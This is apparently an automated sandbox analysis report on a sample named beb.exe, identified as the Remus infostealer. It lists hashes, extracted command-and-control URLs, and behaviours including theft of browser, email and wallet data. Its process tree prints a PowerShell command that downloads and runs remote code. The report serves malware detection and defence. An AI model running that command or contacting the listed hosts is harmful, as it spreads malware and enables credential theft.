Analysis
- max time kernel
149s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
18/07/2026, 16:12
Static task
static1
Behavioral task
behavioral1
Sample
beb.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
beb.exe
Resource
win11ltsc2024-20260709-en
General
- Target beb.exe
- Size 2.9MB
- Sample260718-tnprnsft7r
- SHA256 cdc0d27aee64dbcc4b67a3a6cdde4c7f32065144d8fbb6ada691143456e7d756
- MD5 43cb4e27e723dad9476b5907e60f7f44
- SHA1 d13ff91e9a6fc4c6fb02a2e1e766d18859f84641
- SHA512 1067803e6beb6eab1dff62cb400b8ca0838f9a8d8e4f637bd44a6686f6b1e1ace29f324e3a8add55d989c9592da2546d142cce9dc388e2eacba9831900e8a36c
- SSDEEP 49152:xrq1vGKNOQSFPFEnxaxf7a7iH93IyKjpkFAU:xUSwnE93oU3
- TLSH T112E55A17EC9148F6C199A33689A79246BB75BC081B3233EB2E907B382FB27D05D35754
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
remus_stealer
-
http://zelpx.garden:9895
-
http://tzpx.courses:4437
-
http://carogra.biz:4219
Signatures
- Family: Remus
Remus is a stealer written in C++.
- Detects Remus stealer 1 IoCs
resource yara_rule behavioral2/memory/3480-1-0x0000000140000000-0x000000014003B000-memory.dmp family_remus_stealer - Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 8 1392 powershell.exe 9 1392 powershell.exe 10 1392 powershell.exe 11 1392 powershell.exe 12 1392 powershell.exe 13 1392 powershell.exe 15 1392 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 api.ipify.org - Drops file in Program Files directory 8 IoCs
description ioc Process File created C:\Program Files (x86)\Common Files\Oracle\Java\javapath\cagentactivationruntimestarter.exe powershell.exe File created C:\Program Files (x86)\Common Files\Oracle\Java\javapath\pcagentactivationruntimestarter.exe powershell.exe File created C:\Program Files (x86)\Common Files\Oracle\Java\javapath\mcagentactivationruntimestarter.exe powershell.exe File opened for modification C:\Program Files (x86)\Common Files\Oracle\Java\javapath\cagentactivationruntimestarter.exe powershell.exe File opened for modification C:\Program Files (x86)\Common Files\Oracle\Java\javapath\pcagentactivationruntimestarter.exe powershell.exe File opened for modification C:\Program Files (x86)\Common Files\Oracle\Java\javapath\mcagentactivationruntimestarter.exe powershell.exe File created C:\Program Files (x86)\Common Files\Oracle\Java\javapath\._writetest_e11e25b0-3f65-438c-840e-b84a02126e5f.tmp powershell.exe File opened for modification C:\Program Files (x86)\Common Files\Oracle\Java\javapath\._writetest_e11e25b0-3f65-438c-840e-b84a02126e5f.tmp powershell.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3480 beb.exe 3480 beb.exe 3480 beb.exe 3480 beb.exe 3480 beb.exe 3480 beb.exe 1392 powershell.exe 1392 powershell.exe 1392 powershell.exe 1392 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1392 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 3480 wrote to memory of 1392 3480 beb.exe 91 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\beb.exe"C:\Users\Admin\AppData\Local\Temp\beb.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -exec bypass irm https://file-hosting.vg|iex2⤵
- Badlisted process makes network request
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1392
-